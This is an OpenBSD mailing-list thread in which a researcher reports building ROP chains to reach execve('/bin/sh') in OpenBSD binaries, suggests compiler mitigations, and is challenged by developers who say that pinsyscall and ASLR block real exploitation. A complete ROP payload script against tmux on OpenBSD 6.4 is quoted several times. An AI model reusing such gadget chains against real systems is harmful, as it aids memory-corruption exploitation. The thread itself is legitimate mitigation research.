> managed to generate ROP for 134 programs, with a success rate of *50.75%*.

Please provide a list of all programs where you *ESCALATED PRIVILEGE*
via ROP methods.  I ask, because:

1. If you are playing with a setuid static program, you cannot see where
   in memory the binary is mapped, so you do not know the precise
   syscall stub that is permitted for execve(2).

2. If you are playing with a setuid dynamic program, you cannot see
   where in memory libc.so is mapped, so you do not know the precise
   syscall stub that is permitted for execve(2).

3. If you are attacking a daemon, you cannot see where in memory it's
   execve stub (dynamic or static) is mapped, so you do not know the
   precise syscall stub to address which will perform execve(2).

Please explain how you perform the step of determining the execve system
call entrypoint for a memory image which is not readable.

>From innovations.html:

ld.so and crt0 register the location of the execve(2) stub with the
kernel using pinsyscall(2), after which the kernel only accepts an
execve call from that specific location. Theo de Raadt, Feb 2023.

What info leak are you exercising to extract libc.so's location, and
per-boot layout, and then precisely target the specific "syscall"
instruction?

My theory is that you are performing tests which are highly synthetic
(like -- reading a binary, checking it's in-memory layout once it starts
executing), and then you conclude that all the steps to your ROP methodology
are sufficient to plausibly gain *ESCALATED PRIVILEGE*.

So either you have new methodology that allows you to bypass these other
mitigations, or you have jumped to conclusion that the existance of polymorphic
ROP learned from (impossible) runtime inspection gaurantees exploit.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

We conducted experiments following the methodology of rop-benchmark
<https://github.com/ispras/rop-benchmark> on both *OpenBSD 6.5* and *OpenBSD
7.3* program testsuites. We injected a simple stack overflow vulnerability
into each program set in these experiments. We attempted to construct an
ROP payload calling *execve("/bin/sh", 0, 0)* using the Gadget collection
from the programs. We validated its correctness by exploiting the
vulnerability. We required the ROP payload to first write the *"/bin/sh"*
string to memory, then sequentially set the *rdi, rsi, rdx,* and *rax *values,
and finally make the *syscall*.


Additionally, the programs from *OpenBSD 6.2* were sourced from
rop-benchmark, while the programs from *OpenBSD 6.5* and *OpenBSD 7.3* were
obtained by installing their respective iso
<https://cdn.openbsd.org/pub/OpenBSD/7.3/amd64/install73.iso>, and
extracting all executable programs from the systems as our test suites.
These programs can be found on this GitHub repository
<https://anonymous.4open.science/r/roptest-benchmark-00F7/README.md>, and
we also provided some examples of successfully generated ROP payloads there.


We counted the number of programs in the test set for which we could
successfully execute *execve("/bin/sh", 0, 0)*. The experimental results
showed that the success rate in OpenBSD 6.2, without ROP mitigation
mechanisms, was 96.55%. However, with ROP mitigation mechanisms in OpenBSD
6.5 and 7.3, the success rate decreased to *79.58%* and *50.75%*,
respectively. This indicates the effectiveness of the ROP mitigation
mechanisms implemented in OpenBSD. However, we found that even with these
mitigation measures in place, many Gadgets can still be used. I provided a
detailed analysis in the previous email and some suggestions. For example,
1) reducing Gadgets like pop xxx; ret; clearing registers before function
returns <https://ieeexplore.ieee.org/document/8445132>. 2) Transforming the
bytecode (`\xcb`) corresponding to some `retf` instructions to reduce their
frequency in the programs. You can refer to our generated ROP payloads
<https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example>,
where you will find many ROPs using Gadgets ending with `retf`, as they are
indeed very useful (for rop example in OpenBSD 7.3
<https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/mv.bin.script>
).


Best regards,

ZoE

 于2023年10月10日周二 06:26写道：

> Can you show how you arrived at these results? The more detailed the
> better.
>
> Perhaps this should be its own blog post somewhere as well.
>
> I can't speak to the suggested experiments other than to say that having a
> wider audience may be of help.
>
>
>
>
>
>
> Sent: Saturday, October 07, 2023 at 8:13 PM
> From: "Nan ZoE" 
> To: misc@openbsd.org
> Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP
> Gadgets
> Hello,
>
> Thank you very much for all your suggestions first. After our last
> discussion, I conducted some additional experiments and gained a more
> detailed understanding of the ROP mitigation mechanisms implemented during
> the compilation phase of these programs. *I aimed to identify any
> shortcomings in these mitigation mechanisms and attempt to improve them*. I
> want to continue our in-depth discussion regarding these mitigation
> mechanisms.
>
> Firstly, we have observed that OpenBSD is dedicated to reducing the number
> of effective Gadgets during the compilation phase while resisting ROP
> attacks by increasing the complexity of Gadgets. This is a highly
> meaningful and practical approach to ROP defense, as it does not incur the
> significant performance overhead that techniques like CFI (Control Flow
> Integrity) do. Measures like these can be deployed in various application
> scenarios, *as they could be applied to programs in IoT devices or network
> equipment *(such as firewalls). Based on my knowledge, many vulnerabilities
> still exist in these targets, and ROP attack techniques remain the
> preferred choice for attackers during exploitation. *These devices often
> prioritize rapid response and tend to weaken their security defenses;*
> therefore, adding such mitigation measures during the compilation phase
> could significantly enhance their security.
>
> Given that our analysis focuses on ROP attack mitigation measures
> implemented during the compilation phase, our primary evaluation method
> revolves around assessing how ROP attacks can still be executed using only
> Gadgets when these measures are enabled. We conducted experiments where we
> attempted to search for and chain Gadgets within programs to construct ROP
> payloads that achieve the execution of '*execve("/bin/sh", 0, 0)*'. This
> evaluation encompasses two aspects

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[fro]

Can you show how you arrived at these results? The more detailed the better.

Perhaps this should be its own blog post somewhere as well.

I can't speak to the suggested experiments other than to say that having a 
wider audience may be of help.


 
 
 

Sent: Saturday, October 07, 2023 at 8:13 PM
From: "Nan ZoE" 
To: misc@openbsd.org
Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Hello,

Thank you very much for all your suggestions first. After our last
discussion, I conducted some additional experiments and gained a more
detailed understanding of the ROP mitigation mechanisms implemented during
the compilation phase of these programs. *I aimed to identify any
shortcomings in these mitigation mechanisms and attempt to improve them*. I
want to continue our in-depth discussion regarding these mitigation
mechanisms.

Firstly, we have observed that OpenBSD is dedicated to reducing the number
of effective Gadgets during the compilation phase while resisting ROP
attacks by increasing the complexity of Gadgets. This is a highly
meaningful and practical approach to ROP defense, as it does not incur the
significant performance overhead that techniques like CFI (Control Flow
Integrity) do. Measures like these can be deployed in various application
scenarios, *as they could be applied to programs in IoT devices or network
equipment *(such as firewalls). Based on my knowledge, many vulnerabilities
still exist in these targets, and ROP attack techniques remain the
preferred choice for attackers during exploitation. *These devices often
prioritize rapid response and tend to weaken their security defenses;*
therefore, adding such mitigation measures during the compilation phase
could significantly enhance their security.

Given that our analysis focuses on ROP attack mitigation measures
implemented during the compilation phase, our primary evaluation method
revolves around assessing how ROP attacks can still be executed using only
Gadgets when these measures are enabled. We conducted experiments where we
attempted to search for and chain Gadgets within programs to construct ROP
payloads that achieve the execution of '*execve("/bin/sh", 0, 0)*'. This
evaluation encompasses two aspects: first, the arbitrary memory-write
capability of the Gadget set (initially setting memory values to *'/bin/sh'*),
and second, the capability to set the values of the key registers *rdi,
rsi, rdx*, and *rax *(for setting* rdi, rsi,* and *rdx *as arguments and *rax
*as the system call number). We conducted experiments on OpenBSD 6.2,
OpenBSD 6.5, and OpenBSD 7.3, extracting the minimal program set for each
version. In *OpenBSD 6.2*, out of 87 programs, we successfully generated
ROP for 84 programs, achieving a success rate of *96.55%*. In *OpenBSD 6.5*,
out of 240 programs, we successfully generated ROP for 191 programs, with a
success rate of *79.58%*. In *OpenBSD 7.3,* out of 264 programs, we only
managed to generate ROP for 134 programs, with a success rate of *50.75%*.
We also manually analyzed the reasons for failure to generate each
program's ROP. In most cases, the inability to control specific register
values led to failures. This was due to a limited number of relevant
Gadgets and their complexity. The range of controllable register values was
restricted. It's worth mentioning that, naturally, if the attack
requirements were lowered, such as requiring control over fewer registers,
it might lead to a higher success rate among the programs.

Based on the experimental data we have gathered, it is evident that
OpenBSD's ROP mitigation measures continually strengthen with each
iteration. They have reduced the number of Gadgets within programs and
increased the complexity of using these Gadgets. The decrease in success
rates is the most compelling evidence of this improvement.

Subsequently, we analyzed the reasons for successfully generating ROP in
some programs, which can be summarized in four key points:

1. While many 'ret'-ending Gadgets have been removed, many 'call' and
'jmp'-ending Gadgets remain usable. These Gadgets allow the storage of jump
addresses in both registers and memory.
2. Despite a reduction in Gadgets for data transfer through 'mov'
instructions, numerous Gadgets still feature arithmetic operations. They
rely on leaked register or memory values to assist in setting target
values, often involving straightforward calculations. (When you have
complete control over the value of a register, it can act like a chain
reaction, assisting in controlling more registers.)
3. Gadgets that involve memory read/write operations are handy, albeit
demanding greater control over multiple register values. Once arbitrary
memory reads or writes are achieved, they can lead to chain reactions,
facilitating control over additional registers or memory values.
4. Conditional branch Gadgets can also be utilized.
5. Additionally, some specific bytecodes employ unique exploitation
techn

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

er resisting ROP
attacks during compilation. My primary goal is to make Gadgets more
challenging to use. While human capability is formidable, we can make this
task more difficult. I have some ideas and would like to know if they are
feasible.

   1. *Zeroing registers before function returns:* I have noticed a
   mitigation measure mentioned in a paper titled 'Clean the Scratch
   Registers: A Way to Mitigate Return-Oriented Programming Attacks.
   <https://ieeexplore.ieee.org/document/8445132>' It involves clearing
   registers before each function returns. It offers two main advantages: a)
   significantly reduces the prevalence of 'pop xxx ret' type Gadgets in the
   program, and b) when hijacking control flow after triggering a stack
   overflow vulnerability, attackers cannot use leaked register values for
   supplementary attacks because they have all been zeroed.
   2. *Increasing the number of data dependencies and side-effect fixing
   items for individual Gadgets:* By adding 'redundant instructions' or
   using other methods before jump instructions, we can lengthen Gadgets,
   thereby increasing the number of data dependencies and side-effect fixing
   items that need to be satisfied for a single Gadget. For example, in the
   Gadget 'mov rdx, rax; mov qword ptr [rcx], rdx; test rax, rax; jne
   0xdeadbeef; call [rbx + 0x30];,' if we use it for data transfer from rax to
   rdx ('mov rdx, rax;'), the other instructions in the Gadget ('mov qword ptr
   [rcx], rdx; test rax, rax; jne 0xdeadbeef;') become side-effects, and the
   jump address is memory-controlled, serving as data dependencies (the 'call
   [rbx + 0x30];' instruction). These side-effects and data dependencies must
   be controlled within specific ranges, ensuring the Gadget does not crash
   during execution.
   3. *Increasing the ratio of conditional branch Gadgets:* Analyze whether
   the bytecode for conditional branches relates to certain registers or
   instructions. Adjust the compilation scheme without affecting performance
   to increase the ratio of conditional branch Gadgets. Such Gadgets are
   challenging to use as they require considering at least three elements:
   setting the operand value, satisfying the conditional branch, and
   controlling the direction of the jump in the corresponding branch. If the
   depth of conditional branches can also be increased, these Gadgets become
   even harder to use. Similarly, *increasing the ratio of arithmetic
   instruction in Gadgets* also contributes to ROP resistance.
   4. *Reducing the occurrence of critical bytecode associated with some
   Gadget exploitation techniques (retf, retfq, ret n).*


Best regards,
ZoE



Nan ZoE  于2023年9月23日周六 10:38写道：

> Certainly, I will proceed to test the ROP mitigation measures on OpenBSD
> 7.3. Thank you for your response!
>
>
> Best regards,
> ZoE
>
>  于2023年9月23日周六 00:32写道：
>
>> I'm replying to you off list because I don't want to keep the thread
>> going.
>>
>> Listen, you understand wrong. There's no way other way of saying it and
>> your logic doesn't even make sense. A cursory glance at release pages even
>> shows improvements in these specific areas that you mention.
>>
>> However, I don't want to discourage you from testing mitigations but as
>> Peter and Theo said you really need to put your focus on 7.3 release or
>> -current if you are interested in someone taking you seriously.
>>
>> 7.4 will also be released in the next month or so.
>>
>>
>>
>>
>>
>> Sent: Thursday, September 21, 2023 at 9:50 PM
>> From: "Nan ZoE" 
>> To: f...@disciples.com
>> Cc: misc@openbsd.org
>> Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP
>> Gadgets
>> Because, as far as I understand, these ROP mitigation mechanisms seem to
>> have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
>> <https://www.openbsd.org/65.html>. Of course, I have also studied some
>> programs under OpenBSD 6.5, and many of them still seem to have the
>> potential to be bypassed.
>>
>>  于2023年9月22日周五 12:02写道：
>>
>> > Why are you targeting 6.4? That was released in 2018. So, that's 5 years
>> > and 9 releases since then and another one is happening soon.
>> >
>> >
>> >
>> >
>> > Sent: Thursday, September 21, 2023 at 8:50 AM
>> > From: "Nan ZoE" 
>> > To: misc@openbsd.org
>> > Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP
>> Gadgets
>> > Hello,
>> >
>> >
>> >
>> > I have read your paper regarding the ROP mitigation mechanism (Removing
>> ROP
>> > Gadgets from OpenBSD), and I find the defense against ROP quite
>> ingenious

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

You have missed other stuff which matters.  Try again.


Nan ZoE  wrote:

> Because, as far as I understand, these ROP mitigation mechanisms seem to
> have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
> . Of course, I have also studied some
> programs under OpenBSD 6.5, and many of them still seem to have the
> potential to be bypassed.
> 
>  于2023年9月22日周五 12:02写道：
> 
> > Why are you targeting 6.4? That was released in 2018. So, that's 5 years
> > and 9 releases since then and another one is happening soon.
> >
> >
> >
> >
> > Sent: Thursday, September 21, 2023 at 8:50 AM
> > From: "Nan ZoE" 
> > To: misc@openbsd.org
> > Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
> > Hello,
> >
> >
> >
> > I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> > Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> > The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> > with the use of the 'rbx' register was a surprising revelation.
> > Subsequently, you adjusted the prioritization of the 'rbx' register during
> > compilation, effectively filtering out a significant number of 'ret'-ending
> > gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> > this technique has been applied to openbsd-63, 64, and 65. While the number
> > of 'ret'-ending gadgets has been significantly reduced, there are still
> > numerous 'call'-ending gadgets in the program. Security researchers can
> > still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> > programs of only a few hundred kilobytes, I have found that we can still
> > invoke the execve("/bin/sh", 0, 0) function using only the available
> > gadgets in the program, albeit it may require a combination of multiple
> > gadgets and some effort to achieve. I am curious if there are any further
> > ROP mitigation measures to address this issue? Additionally, I have
> > provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> > shown below.
> >
> >
> >
> > payload = p64(0x4017ce)
> >
> > #0x004017ce: pop r13; pop r14; pop r15; ret;
> >
> > payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x4017d1)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x412208)
> >
> > # 0x00412208: mov rcx, r13; call rax;
> >
> > payload += b''
> >
> > # 0x004017d1: pop rsi; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x40125d)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x427a31)
> >
> > # 0x00427a31: pop rbx; pop rbp; jmp rax;
> >
> > payload += p64(0x49e0ed)+p64(0x0)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x4017d1)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x412053)
> >
> > # 0x00412053: mov r8, rbx; call rax;
> >
> > payload += b''
> >
> > # 0x004017d1: pop rsi; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x4551d9)
> >
> > # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
> >
> > payload += p64(0x4017d3)
> >
> > # 0x004017d3: pop rdi; ret;
> >
> > payload += p64(0x49e070)+p64(0x40d571)
> >
> > # 0x0040d571: pop rsi; ret;
> >
> > payload += p64(0x0)+p64(0x4017cf)
> >
> > # 0x004017cf: pop rbp; pop r14; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x49e1d0)+p64(0x42d80b)
> >
> > # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> > rax, r14; call rax;
> >
> > payload += b''
> >
> > # 0x004017d0: pop r14; pop r15; ret;
> >
> > payload += p64(0x0)+p64(0x40125d)
> >
> > # 0x0040125d: pop rbp; ret;
> >
> > payload += p64(0x3b)+p64(0x403dd3)
> >
> > # 0x00403dd3: xchg eax, ebp; ret;
> >
> > payload += p64(0x407fae)
> >
> > # 0x00407fae: syscall;
> >
> > payload += b''
> >
> >
> >
> > Best regards,
> >
> > ZoE
> >
> > 2023.09.21
> >

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Peter N. M. Hansteen]

On Fri, Sep 22, 2023 at 12:50:37PM +0800, Nan ZoE wrote:
> Because, as far as I understand, these ROP mitigation mechanisms seem to
> have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
> . Of course, I have also studied some
> programs under OpenBSD 6.5, and many of them still seem to have the
> potential to be bypassed.

I would not take the lack of explicit mention on the release page (or for
that matter lack of conference presentations or undeadly.org articles) on
a specific item as proof of absence of activity.

Improvements happen all the time, and changes that are not explicitly marked
as being ROP-related may very well have an effect on the phenomenon anyway.

By focusing on versions that have been unsupported for years you mainly ensure
that the people who could have addressed any issuse you find will not bother.

If you actually want what you find to matter, for your own good please shift
your focus to -current or at least one or both of the still supported releases.

- Peter

-- 
Peter N. M. Hansteen, member of the first RFC 1149 implementation team
https://bsdly.blogspot.com/ https://www.bsdly.net/ https://www.nuug.no/
"Remember to set the evil bit on all malicious network traffic"
delilah spamd[29949]: 85.152.224.147: disconnected after 42673 seconds.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Because, as far as I understand, these ROP mitigation mechanisms seem to
have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
. Of course, I have also studied some
programs under OpenBSD 6.5, and many of them still seem to have the
potential to be bypassed.

 于2023年9月22日周五 12:02写道：

> Why are you targeting 6.4? That was released in 2018. So, that's 5 years
> and 9 releases since then and another one is happening soon.
>
>
>
>
> Sent: Thursday, September 21, 2023 at 8:50 AM
> From: "Nan ZoE" 
> To: misc@openbsd.org
> Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
> Hello,
>
>
>
> I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> with the use of the 'rbx' register was a surprising revelation.
> Subsequently, you adjusted the prioritization of the 'rbx' register during
> compilation, effectively filtering out a significant number of 'ret'-ending
> gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> this technique has been applied to openbsd-63, 64, and 65. While the number
> of 'ret'-ending gadgets has been significantly reduced, there are still
> numerous 'call'-ending gadgets in the program. Security researchers can
> still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> programs of only a few hundred kilobytes, I have found that we can still
> invoke the execve("/bin/sh", 0, 0) function using only the available
> gadgets in the program, albeit it may require a combination of multiple
> gadgets and some effort to achieve. I am curious if there are any further
> ROP mitigation measures to address this issue? Additionally, I have
> provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> shown below.
>
>
>
> payload = p64(0x4017ce)
>
> #0x004017ce: pop r13; pop r14; pop r15; ret;
>
> payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x4017d1)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x412208)
>
> # 0x00412208: mov rcx, r13; call rax;
>
> payload += b''
>
> # 0x004017d1: pop rsi; pop r15; ret;
>
> payload += p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x40125d)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x427a31)
>
> # 0x00427a31: pop rbx; pop rbp; jmp rax;
>
> payload += p64(0x49e0ed)+p64(0x0)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x4017d1)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x412053)
>
> # 0x00412053: mov r8, rbx; call rax;
>
> payload += b''
>
> # 0x004017d1: pop rsi; pop r15; ret;
>
> payload += p64(0x0)+p64(0x4551d9)
>
> # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
>
> payload += p64(0x4017d3)
>
> # 0x004017d3: pop rdi; ret;
>
> payload += p64(0x49e070)+p64(0x40d571)
>
> # 0x0040d571: pop rsi; ret;
>
> payload += p64(0x0)+p64(0x4017cf)
>
> # 0x004017cf: pop rbp; pop r14; pop r15; ret;
>
> payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x49e1d0)+p64(0x42d80b)
>
> # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> rax, r14; call rax;
>
> payload += b''
>
> # 0x004017d0: pop r14; pop r15; ret;
>
> payload += p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x3b)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x407fae)
>
> # 0x00407fae: syscall;
>
> payload += b''
>
>
>
> Best regards,
>
> ZoE
>
> 2023.09.21
>

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[fro]

Why are you targeting 6.4? That was released in 2018. So, that's 5 years and 9 
releases since then and another one is happening soon.
 
 
 

Sent: Thursday, September 21, 2023 at 8:50 AM
From: "Nan ZoE" 
To: misc@openbsd.org
Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Hello,



I have read your paper regarding the ROP mitigation mechanism (Removing ROP
Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
The paper introduces the bytecode for 'ret' as '\xc3,' and its association
with the use of the 'rbx' register was a surprising revelation.
Subsequently, you adjusted the prioritization of the 'rbx' register during
compilation, effectively filtering out a significant number of 'ret'-ending
gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
this technique has been applied to openbsd-63, 64, and 65. While the number
of 'ret'-ending gadgets has been significantly reduced, there are still
numerous 'call'-ending gadgets in the program. Security researchers can
still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
programs of only a few hundred kilobytes, I have found that we can still
invoke the execve("/bin/sh", 0, 0) function using only the available
gadgets in the program, albeit it may require a combination of multiple
gadgets and some effort to achieve. I am curious if there are any further
ROP mitigation measures to address this issue? Additionally, I have
provided an ROP attack example targeting the tmux program in OpenBSD-64, as
shown below.



payload = p64(0x4017ce)

#0x004017ce: pop r13; pop r14; pop r15; ret;

payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x4017d1)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x412208)

# 0x00412208: mov rcx, r13; call rax;

payload += b''

# 0x004017d1: pop rsi; pop r15; ret;

payload += p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x40125d)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x427a31)

# 0x00427a31: pop rbx; pop rbp; jmp rax;

payload += p64(0x49e0ed)+p64(0x0)

# 0x0040125d: pop rbp; ret;

payload += p64(0x4017d1)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x412053)

# 0x00412053: mov r8, rbx; call rax;

payload += b''

# 0x004017d1: pop rsi; pop r15; ret;

payload += p64(0x0)+p64(0x4551d9)

# 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;

payload += p64(0x4017d3)

# 0x004017d3: pop rdi; ret;

payload += p64(0x49e070)+p64(0x40d571)

# 0x0040d571: pop rsi; ret;

payload += p64(0x0)+p64(0x4017cf)

# 0x004017cf: pop rbp; pop r14; pop r15; ret;

payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x49e1d0)+p64(0x42d80b)

# 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
rax, r14; call rax;

payload += b''

# 0x004017d0: pop r14; pop r15; ret;

payload += p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x3b)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x407fae)

# 0x00407fae: syscall;

payload += b''



Best regards,

ZoE

2023.09.21

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

There is no comprehensive & final solution for RET polymorphism due
to variable-sized instruction architecture, and the only solution is
to move to fixed-sized architectures where all RETs can be protected
and ROP-free therefore becomes possible.

The best we can do is reduce it.

The ability to reach execve() is being constrained more and more using
privsep, pledge where possible, unveil if we can, forcing people to use
the execve stub in libc (which is at a per-boot random location), and
further efforts (coming soon) which will hurt calling generic syscall or
the use of syscall instructions inside other syscall stubs.

Each thing increases the effort to reach exploitation.

I do not understand the sample you gave, it is impossible to visualize
the approach being taken -- you have not shown how you are finding the
syscall instruction.  Also note that it must be *THE SYSCALL* instruction
for execve, in per-boot-randomly-linked aslr-placed libc.so.  So you have
determined this online?

Finally, I believe the phrase "exploit" truly requires a priviledge
escalation or gain of other capability.  What did you gain?  I believe
you gain nothing from this demonstrator.

Nan ZoE  wrote:

> Hello,
> 
> 
> 
> I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> with the use of the 'rbx' register was a surprising revelation.
> Subsequently, you adjusted the prioritization of the 'rbx' register during
> compilation, effectively filtering out a significant number of 'ret'-ending
> gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> this technique has been applied to openbsd-63, 64, and 65. While the number
> of 'ret'-ending gadgets has been significantly reduced, there are still
> numerous 'call'-ending gadgets in the program. Security researchers can
> still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> programs of only a few hundred kilobytes, I have found that we can still
> invoke the execve("/bin/sh", 0, 0) function using only the available
> gadgets in the program, albeit it may require a combination of multiple
> gadgets and some effort to achieve. I am curious if there are any further
> ROP mitigation measures to address this issue? Additionally, I have
> provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> shown below.
> 
> 
> 
> payload = p64(0x4017ce)
> 
> #0x004017ce: pop r13; pop r14; pop r15; ret;
> 
> payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412208)
> 
> # 0x00412208: mov rcx, r13; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x40125d)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x427a31)
> 
> # 0x00427a31: pop rbx; pop rbp; jmp rax;
> 
> payload += p64(0x49e0ed)+p64(0x0)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412053)
> 
> # 0x00412053: mov r8, rbx; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4551d9)
> 
> # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
> 
> payload += p64(0x4017d3)
> 
> # 0x004017d3: pop rdi; ret;
> 
> payload += p64(0x49e070)+p64(0x40d571)
> 
> # 0x0040d571: pop rsi; ret;
> 
> payload += p64(0x0)+p64(0x4017cf)
> 
> # 0x004017cf: pop rbp; pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x49e1d0)+p64(0x42d80b)
> 
> # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> rax, r14; call rax;
> 
> payload += b''
> 
> # 0x004017d0: pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x3b)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x407fae)
> 
> # 0x00407fae: syscall;
> 
> payload += b''
> 
> 
> 
> Best regards,
> 
> ZoE
> 
> 2023.09.21